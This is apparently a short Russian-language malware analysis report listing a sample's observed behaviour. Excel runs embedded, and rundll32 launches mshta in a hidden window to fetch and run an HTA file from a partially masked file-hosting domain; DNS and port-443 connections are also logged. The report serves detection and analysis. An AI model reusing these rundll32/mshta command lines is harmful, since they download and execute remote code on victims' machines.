Техническая информация
- '<SYSTEM32>\rundll32.exe' SHELL32.DLL,ShellExec_RunDLL "mshta" "https://www.me###fire.com/file/6vip6utwodclo5k/1.htm/file"
- 'me###fire.com':443
- 'me###fire.com':443
- DNS ASK me###fire.com
- '<SYSTEM32>\rundll32.exe' SHELL32.DLL,ShellExec_RunDLL "mshta" "https://www.me###fire.com/file/6vip6utwodclo5k/1.htm/file"' (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "https://www.me###fire.com/file/6vip6utwodclo5k/1.htm/file"' (со скрытым окном)
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '<SYSTEM32>\mshta.exe' "https://www.me###fire.com/file/6vip6utwodclo5k/1.htm/file"